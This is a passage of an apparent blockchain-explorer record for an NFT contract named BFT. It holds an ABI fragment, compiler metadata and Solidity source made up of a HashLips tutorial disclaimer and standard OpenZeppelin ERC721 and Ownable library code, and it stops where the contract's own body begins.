[],"name":"minimumId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"mintBatch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newuri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]
v0.8.9+commit.e5eed63a
true
200
Default
MIT
false
ipfs://d884725dcc948677f802e53d3982c4b97b7c6560739b3c51de3886b4b2a54bff
BFT
0x3a260d30ec3559c27f7cf43c2715f76dd28fe1a4
Solidity
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract BFT is 